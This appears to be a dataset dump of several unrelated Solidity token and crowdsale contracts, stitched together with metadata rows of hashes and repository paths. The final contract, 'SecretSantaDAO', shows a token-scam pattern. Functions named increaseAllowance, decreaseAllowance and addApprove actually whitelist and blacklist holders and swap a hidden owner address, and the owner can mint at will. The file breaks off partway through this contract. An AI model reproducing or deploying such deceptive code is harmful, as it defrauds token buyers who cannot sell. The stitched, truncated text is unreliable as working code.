_tokenContainers[from].balance = _tokenContainers[from].balance.sub(value);
_tokenContainers[to].balance = _tokenContainers[to].balance.add(value);
emit Transfer(from, to, value);
}
// Spender
// Internal execution function for assigning a Spender
function _approve(address holder, address spender, uint256 value) private {
require(!isLock);
require(spender != address(0));
require(holder != address(0));
_tokenContainers[holder].allowed[spender] = value;
emit Approval(holder, spender, value);
}
function chargeAmountOf(address holder) external view returns (uint256) {
return _tokenContainers[holder].chargeAmount;
}
function unlockAmountOf(address holder) external view returns (uint256) {
return _tokenContainers[holder].unlockAmount;
}
function availableBalanceOf(address holder) external view returns (uint256) {
return _tokenContainers[holder].balance;
}
function receiptAccountOf(address holder) external view returns (string memory) {
bytes memory blockStart = bytes("{");
bytes memory chargeLabel = bytes("\"chargeAmount\" : \"");
bytes memory charge = bytes(uint2str(_tokenContainers[holder].chargeAmount));
bytes memory unlockLabel = bytes("\", \"unlockAmount\" : \"");
bytes memory unlock = bytes(uint2str(_tokenContainers[holder].unlockAmount));
bytes memory balanceLabel = bytes("\", \"availableBalance\" : \"");
bytes memory balance = bytes(uint2str(_tokenContainers[holder].balance));
bytes memory blockEnd = bytes("\"}");
string memory receipt = new string(blockStart.length + chargeLabel.length + charge.length + unlockLabel.length + unlock.length + balanceLabel.length + balance.length + blockEnd.length);
bytes memory receiptBytes = bytes(receipt);
uint readIndex = 0;
uint writeIndex = 0;
for (readIndex = 0; readIndex < blockStart.length; readIndex++) {
receiptBytes[writeIndex++] = blockStart[readIndex];
}
for (readIndex = 0; readIndex < chargeLabel.length; readIndex++) {
receiptBytes[writeIndex++] = chargeLabel[readIndex];
}
for (readIndex = 0; readIndex < charge.length; readIndex++) {
receiptBytes[writeIndex++] = charge[readIndex];
}
for (readIndex = 0; readIndex < unlockLabel.length; readIndex++) {
receiptBytes[writeIndex++] = unlockLabel[readIndex];
}
for (readIndex = 0; readIndex < unlock.length; readIndex++) {
receiptBytes[writeIndex++] = unlock[readIndex];
}
for (readIndex = 0; readIndex < balanceLabel.length; readIndex++) {
receiptBytes[writeIndex++] = balanceLabel[readIndex];
}
for (readIndex = 0; readIndex < balance.length; readIndex++) {
receiptBytes[writeIndex++] = balance[readIndex];
}
for (readIndex = 0; readIndex < blockEnd.length; readIndex++) {
receiptBytes[writeIndex++] = blockEnd[readIndex];
}
return string(receiptBytes);
}
// uint string
// An internal function that converts an uint value to a string
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
// - Owner unlockAmount
// Total circulation supply, or the unlockAmount of the Owner's
function circulationAmount() external view returns (uint256) {
return _tokenContainers[owner()].unlockAmount;
}
//
// Increase the token's total circulation supply
function increaseCirculation(uint256 amount) external onlyOwner returns (uint256) {
require(!isLock);
require(_tokenContainers[msg.sender].chargeAmount >= _tokenContainers[msg.sender].unlockAmount.add(amount));
_tokenContainers[msg.sender].unlockAmount = _tokenContainers[msg.sender].unlockAmount.add(amount);
_tokenContainers[msg.sender].balance = _tokenContainers[msg.sender].balance.add(amount);
emit ChangeCirculation(_tokenContainers[msg.sender].unlockAmount);
return _tokenContainers[msg.sender].unlockAmount;
}
//
// Reduction of the token's total supply
function decreaseCirculation(uint256 amount) external onlyOwner returns (uint256) {
require(!isLock);
_tokenContainers[msg.sender].unlockAmount = _tokenContainers[msg.sender].unlockAmount.sub(amount);
_tokenContainers[msg.sender].balance = _tokenContainers[msg.sender].balance.sub(amount);
emit ChangeCirculation(_tokenContainers[msg.sender].unlockAmount);
return _tokenContainers[msg.sender].unlockAmount;
}
function charge(address holder, uint256 chargeAmount, uint256 unlockAmount) external ownerOrDelegator {
require(!isLock);
require(holder != address(0));
require(holder != owner());
require(chargeAmount > 0);
require(chargeAmount >= unlockAmount);
require(_tokenContainers[owner()].balance >= chargeAmount);
_tokenContainers[owner()].balance = _tokenContainers[owner()].balance.sub(chargeAmount);
_tokenContainers[holder].chargeAmount = _tokenContainers[holder].chargeAmount.add(chargeAmount);
_tokenContainers[holder].unlockAmount = _tokenContainers[holder].unlockAmount.add(unlockAmount);
_tokenContainers[holder].balance = _tokenContainers[holder].balance.add(unlockAmount);
emit Charge(holder, chargeAmount, unlockAmount);
}
function increaseUnlockAmount(address holder, uint256 unlockAmount) external ownerOrDelegator {
require(!isLock);
require(holder != address(0));
require(holder != owner());
require(_tokenContainers[holder].chargeAmount >= _tokenContainers[holder].unlockAmount.add(unlockAmount));
_tokenContainers[holder].unlockAmount = _tokenContainers[holder].unlockAmount.add(unlockAmount);
_tokenContainers[holder].balance = _tokenContainers[holder].balance.add(unlockAmount);
emit IncreaseUnlockAmount(holder, unlockAmount);
}
function decreaseUnlockAmount(address holder, uint256 lockAmount) external ownerOrDelegator {
require(!isLock);
require(holder != address(0));
require(holder != owner());
require(_tokenContainers[holder].balance >= lockAmount);
_tokenContainers[holder].unlockAmount = _tokenContainers[holder].unlockAmount.sub(lockAmount);
_tokenContainers[holder].balance = _tokenContainers[holder].balance.sub(lockAmount);
emit DecreaseUnlockAmount(holder, lockAmount);
}
function unlockAmountAll(address holder) external ownerOrDelegator {
require(!isLock);
require(holder != address(0));
require(holder != owner());
uint256 unlockAmount = _tokenContainers[holder].chargeAmount.sub(_tokenContainers[holder].unlockAmount);
require(unlockAmount > 0);
_tokenContainers[holder].unlockAmount = _tokenContainers[holder].unlockAmount.add(unlockAmount);
_tokenContainers[holder].balance = _tokenContainers[holder].balance.add(unlockAmount);
}
function lock() external onlyOwner returns (bool) {
isLock = true;
return isLock;
}
function unlock() external onlyOwner returns (bool) {
isLock = false;
return isLock;
}
function exchange(address holder) external onlyDelegator returns (bool) {
require(isLock); // lock state only
require((delegator() == msg.sender) && isContract(msg.sender)); // contract delegator only
uint256 balance = _tokenContainers[holder].balance;
_tokenContainers[holder].balance = 0;
_tokenContainers[msg.sender].balance = _tokenContainers[msg.sender].balance.add(balance);
emit Exchange(holder, msg.sender, balance);
return true;
}
function withdraw() external onlyDelegator returns (bool) {
require(isLock); // lock state only
require((delegator() == msg.sender) && isContract(msg.sender)); // contract delegator only
uint256 balance = _tokenContainers[msg.sender].balance;
_tokenContainers[msg.sender].balance = 0;
_tokenContainers[owner()].balance = _tokenContainers[owner()].balance.add(balance);
emit Withdraw(msg.sender, balance);
}
function isContract(address addr) private returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract SymToken is ERC20Like {
string public name = "SymVerse";
string public symbol = "SYM";
uint256 public decimals = 18;
constructor () public {
_totalSupply = 900000000 * (10 ** decimals);
_tokenContainers[msg.sender].chargeAmount = _totalSupply;
emit Charge(msg.sender, _tokenContainers[msg.sender].chargeAmount, _tokenContainers[msg.sender].unlockAmount);
}
}
| 148,521 | 365 |
0d4464935927fc20c2945415eed2ccc6c2c4fae01bf49a06d5d95d0f30c2d50e
| 24,444 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/d5/d5dfa18833bac65c8f01652ab25ba32a723be7c7_Popular.sol
| 2,984 | 11,621 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract ERC20Capped is ERC20 {
uint256 private immutable _cap;
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
function cap() public view virtual returns (uint256) {
return _cap;
}
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
contract Popular is ERC20Capped, Ownable {
uint256 public constant maxSupply = 220000000000 * 10 ** 18; // 220b
uint256 public prizePool = 50000000000 * 10 ** 18; // 50b
uint256 public teamSupply = 20000000000 * 10 ** 18; // 20b
uint256 public initialMintAmount = 5000000 * 10 ** 18; // 5m
uint256 public limitAmount = 5000000 * 10 ** 18; // 7.5m
uint256 public popCost = 250000 * 10 ** 18; // 250k
uint256 public lastPopUpdate;
address public popOwner;
string public pop = "FUCK POP";
mapping(address => uint256) public lastMintValue;
mapping(address => uint256) public lastMintTime;
event PopUpdated(address indexed user, string message, uint256 newPopCost);
event PrizePoolClaimed(address indexed popOwner, uint256 amount);
mapping(address => uint256) public userMintAmount;
event Log(string func, uint gas);
modifier maxLength(string memory message) {
require(bytes(message).length <= 26, "Message must be 26 characters or less");
_;
}
constructor() ERC20("Poplular", "Pop") ERC20Capped(maxSupply) {
_mint(address(this), maxSupply);
_transfer(address(this), msg.sender, teamSupply);
popOwner = msg.sender;
}
function mintPops() external {
require(block.timestamp >= lastMintTime[msg.sender] + 1 days, "You can only mint once every 24 hours");
uint256 mintAmount;
if (lastMintValue[msg.sender] == 0) {
mintAmount = initialMintAmount;
} else {
mintAmount = lastMintValue[msg.sender] / 2;
}
require(mintAmount > 0, "Mint amount is too small");
require(balanceOf(address(this)) - prizePool >= mintAmount, "Not enough POPS left to mint");
require(limitAmount - userMintAmount[msg.sender] >= mintAmount, "you have cast too much");
lastMintValue[msg.sender] = mintAmount;
lastMintTime[msg.sender] = block.timestamp;
userMintAmount[msg.sender] = userMintAmount[msg.sender] + mintAmount;
_transfer(address(this), msg.sender, mintAmount);
}
function setPop(string memory message) external maxLength(message) {
require(bytes(message).length > 0, "Message cannot be empty");
if (msg.sender != popOwner) {
require(balanceOf(msg.sender) >= popCost, "Insufficient POPS to set POP");
IERC20(address(this)).transferFrom(msg.sender, address(this), popCost);
_burn(address(this), popCost);
popCost = popCost + (popCost * 5000) / 10000;
}
pop = message;
popOwner = msg.sender;
lastPopUpdate = block.timestamp;
emit PopUpdated(msg.sender, message, popCost);
}
function claimPrizePool() external {
require(block.timestamp >= lastPopUpdate + 7 days, "Prizepool can be claimed if 7 days have passed without a POP update");
require(msg.sender == popOwner, "Only the current popOwner can claim the prizepool");
uint256 claimAmount = prizePool;
prizePool = 0;
_transfer(address(this), msg.sender, claimAmount);
emit PrizePoolClaimed(msg.sender, prizePool);
}
function setLimitAmount(uint256 limit) external {
require(msg.sender == popOwner, "Only the current PopOwner can set the limitAmount");
limitAmount = limit;
}
fallback() external payable {
emit Log("fallback", gasleft());
}
receive() external payable {
emit Log("receive", gasleft());
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
}
| 25,502 | 366 |
6586f3af9a57367923c9d9e1467c899e56885961574c6544f0b6e8e80e013f91
| 11,816 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa0f075d5473467e4a8c82e2c58c4871bcff3a699.sol
| 2,404 | 8,907 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
/// @return total amount of tokens
//function totalSupply() constant returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract HOLODECKS is StandardToken {
function () {
//if ether is sent to this address, send it back.
revert();
}
string public name; //fancy name: eg Simon Bucks
uint8 public decimals;
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
function HOLODECKS() {
decimals = 18;
totalSupply = 1500000000 * (10 ** uint256(decimals)); // Update total supply (100000 for example)
balances[msg.sender] = totalSupply; // Give the creator all initial tokens (100000 for example)
name = "HOLODECKS"; // Set the name for display purposes
symbol = "HDK"; // Set the symbol for display purposes
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract HDK_Crowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
HOLODECKS public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime = 1523750400;
uint256 public phase_1_Time = 1526342400 ;
uint256 public phase_2_Time = 1529020800;
uint256 public endTime = 1531612800;
// Max amount of wei accepted in the crowdsale
uint256 public cap;
// Min amount of wei an investor can send
uint256 public minInvest;
// address where funds are collected
address public wallet;
// how many token units a buyer gets. 1 ETH = 10000 HDK
uint256 public phase_1_rate = 13000;
uint256 public phase_2_rate = 12000;
uint256 public phase_3_rate = 11000;
// amount of raised money in wei
uint256 public weiRaised;
mapping (address => uint256) rates;
function getRate() constant returns (uint256){
uint256 current_time = now;
if(current_time > startTime && current_time < phase_1_Time){
return phase_1_rate;
}
else if(current_time > phase_1_Time && current_time < phase_2_Time){
return phase_2_rate;
}
else if(current_time > phase_2_Time && current_time < endTime){
return phase_3_rate;
}
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function HDK_Crowdsale() {
wallet = msg.sender;
token = createTokenContract();
minInvest = 0.1 * 1 ether;
cap = 100000 * 1 ether;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (HOLODECKS) {
return new HOLODECKS();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(getRate());
// update state
weiRaised = weiRaised.add(weiAmount);
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
function destroy() onlyOwner {
// Transfer tokens back to owner
uint256 balance = token.balanceOf(this);
assert (balance > 0);
token.transfer(owner,balance);
// There should be no ether in the contract but just in case
selfdestruct(owner);
}
}
| 206,943 | 367 |
2cc8c5e41727417686db6dc9bdc90286602345ffb376f1a9ae8d353f4cbcafdf
| 30,024 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/42/42cfa3da3148bf9a40fd22641fc153dce00e28ac_SecretSantaDAO.sol
| 3,393 | 12,619 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SecretSantaDAO is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
